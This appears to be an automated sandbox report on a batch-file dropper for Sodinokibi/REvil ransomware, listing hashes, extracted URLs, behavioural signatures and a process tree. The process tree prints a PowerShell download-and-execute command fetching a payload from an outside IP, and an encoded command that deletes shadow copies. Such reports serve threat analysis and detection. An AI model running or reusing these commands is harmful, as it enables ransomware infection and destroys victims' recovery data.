Analysis
-
max time kernel
150s -
max time network
150s -
platform
windows10_x64 -
resource
win10v200722 -
submitted
08-09-2020 15:10
Static task
static1
Behavioral task
behavioral1
Sample
ee784cf3584e7d556683ef667f8905c7.bat
Resource
win7
Behavioral task
behavioral2
Sample
ee784cf3584e7d556683ef667f8905c7.bat
Resource
win10v200722
General
-
Target
ee784cf3584e7d556683ef667f8905c7.bat
-
Size
213B
-
MD5
f875790db1a23bbb0f99b5d028e3dcdb
-
SHA1
be6db7752b70a78736535d0b832da469ee3030d2
-
SHA256
e7e8cf1b2c56a7d5810b8158b78da915ec54ccaf837e10277a88baf327edac05
-
SHA512
1a301a17acfb97cb522278aa77a3d06efa64338931509ce8a49431d481954a2f209bb5b41a25daae11c59de88eb232f702c5559a9b52f04f20f0aaee0f6b42d7
Malware Config
Extracted
http://185.103.242.78/pastes/ee784cf3584e7d556683ef667f8905c7
Extracted
C:\owgae0e-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/6301BF5911DE7F8B
http://decryptor.cc/6301BF5911DE7F8B
Signatures
-
Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
-
Blacklisted process makes network request 106 IoCs
Processes:
powershell.exeflow pid process 10 1136 powershell.exe 24 1136 powershell.exe 26 1136 powershell.exe 28 1136 powershell.exe 30 1136 powershell.exe 32 1136 powershell.exe 34 1136 powershell.exe 36 1136 powershell.exe 38 1136 powershell.exe 41 1136 powershell.exe 43 1136 powershell.exe 44 1136 powershell.exe 45 1136 powershell.exe 46 1136 powershell.exe 48 1136 powershell.exe 50 1136 powershell.exe 52 1136 powershell.exe 54 1136 powershell.exe 56 1136 powershell.exe 58 1136 powershell.exe 60 1136 powershell.exe 62 1136 powershell.exe 64 1136 powershell.exe 66 1136 powershell.exe 68 1136 powershell.exe 70 1136 powershell.exe 73 1136 powershell.exe 75 1136 powershell.exe 77 1136 powershell.exe 79 1136 powershell.exe 81 1136 powershell.exe 84 1136 powershell.exe 86 1136 powershell.exe 88 1136 powershell.exe 90 1136 powershell.exe 92 1136 powershell.exe 95 1136 powershell.exe 97 1136 powershell.exe 99 1136 powershell.exe 101 1136 powershell.exe 103 1136 powershell.exe 105 1136 powershell.exe 107 1136 powershell.exe 109 1136 powershell.exe 111 1136 powershell.exe 113 1136 powershell.exe 115 1136 powershell.exe 117 1136 powershell.exe 120 1136 powershell.exe 121 1136 powershell.exe 123 1136 powershell.exe 125 1136 powershell.exe 127 1136 powershell.exe 129 1136 powershell.exe 131 1136 powershell.exe 133 1136 powershell.exe 135 1136 powershell.exe 137 1136 powershell.exe 139 1136 powershell.exe 141 1136 powershell.exe 143 1136 powershell.exe 145 1136 powershell.exe 148 1136 powershell.exe 150 1136 powershell.exe -
Modifies extensions of user files 3 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
powershell.exedescription ioc process File renamed C:\Users\Admin\Pictures\EnterSearch.tiff => \??\c:\users\admin\pictures\EnterSearch.tiff.owgae0e powershell.exe File opened for modification \??\c:\users\admin\pictures\EnterSearch.tiff powershell.exe File renamed C:\Users\Admin\Pictures\ClearDeny.crw => \??\c:\users\admin\pictures\ClearDeny.crw.owgae0e powershell.exe -
Enumerates connected drives 3 TTPs
-
Drops file in System32 directory 1 IoCs
Processes:
powershell.exedescription ioc process File opened for modification C:\Windows\System32\CatRoot2\dberr.txt powershell.exe -
Modifies service 2 TTPs 4 IoCs
Processes:
vssvc.exedescription ioc process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer vssvc.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
Processes:
powershell.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2c91j2.bmp" powershell.exe -
Drops file in Program Files directory 18 IoCs
Processes:
powershell.exedescription ioc process File opened for modification \??\c:\program files\FormatReset.xml powershell.exe File opened for modification \??\c:\program files\OpenSave.vsdx powershell.exe File opened for modification \??\c:\program files\SendSkip.pdf powershell.exe File created \??\c:\program files\owgae0e-readme.txt powershell.exe File opened for modification \??\c:\program files\ConnectRestart.dotm powershell.exe File opened for modification \??\c:\program files\ConvertFromMeasure.emz powershell.exe File opened for modification \??\c:\program files\NewFormat.cfg powershell.exe File opened for modification \??\c:\program files\OptimizeExit.jpeg powershell.exe File opened for modification \??\c:\program files\SendWrite.3gp2 powershell.exe File opened for modification \??\c:\program files\StopSubmit.ini powershell.exe File created \??\c:\program files (x86)\owgae0e-readme.txt powershell.exe File opened for modification \??\c:\program files\UnregisterUnprotect.ps1xml powershell.exe File opened for modification \??\c:\program files\LimitStep.xlsm powershell.exe File opened for modification \??\c:\program files\CompressSave.reg powershell.exe File opened for modification \??\c:\program files\ConnectImport.rtf powershell.exe File opened for modification \??\c:\program files\InitializeReceive.mp2v powershell.exe File opened for modification \??\c:\program files\MoveSet.xlsx powershell.exe File opened for modification \??\c:\program files\BlockDebug.gif powershell.exe -
Drops file in Windows directory 1 IoCs
Processes:
svchost.exedescription ioc process File opened for modification C:\Windows\ServiceProfiles\LocalService\winhttp\cachev3.dat svchost.exe -
Modifies data under HKEY_USERS 6 IoCs
Processes:
svchost.exedescription ioc process Set value (int) \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecision = "0" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad svchost.exe Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7 svchost.exe Set value (int) \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionReason = "1" svchost.exe Set value (data) \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionTime = e9ead9630286d601 svchost.exe -
Suspicious behavior: EnumeratesProcesses 8 IoCs
Processes:
powershell.exepowershell.exepid process 1136 powershell.exe 1136 powershell.exe 1136 powershell.exe 1136 powershell.exe 1136 powershell.exe 3912 powershell.exe 3912 powershell.exe 3912 powershell.exe -
Suspicious use of AdjustPrivilegeToken 9 IoCs
Processes:
svchost.exepowershell.exepowershell.exevssvc.exedescription pid process Token: SeShutdownPrivilege 1964 svchost.exe Token: SeCreatePagefilePrivilege 1964 svchost.exe Token: SeDebugPrivilege 1136 powershell.exe Token: SeDebugPrivilege 1136 powershell.exe Token: SeDebugPrivilege 3912 powershell.exe Token: SeBackupPrivilege 3660 vssvc.exe Token: SeRestorePrivilege 3660 vssvc.exe Token: SeAuditPrivilege 3660 vssvc.exe Token: SeTakeOwnershipPrivilege 1136 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
cmd.exepowershell.exedescription pid process target process PID 3648 wrote to memory of 1136 3648 cmd.exe powershell.exe PID 3648 wrote to memory of 1136 3648 cmd.exe powershell.exe PID 3648 wrote to memory of 1136 3648 cmd.exe powershell.exe PID 1136 wrote to memory of 3912 1136 powershell.exe powershell.exe PID 1136 wrote to memory of 3912 1136 powershell.exe powershell.exe PID 1136 wrote to memory of 3912 1136 powershell.exe powershell.exe
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ee784cf3584e7d556683ef667f8905c7.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:3648 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/ee784cf3584e7d556683ef667f8905c7');Invoke-EQIIAY;Start-Sleep -s 10000"2⤵
- Blacklisted process makes network request
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1136 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==3⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3912
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1964
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:3660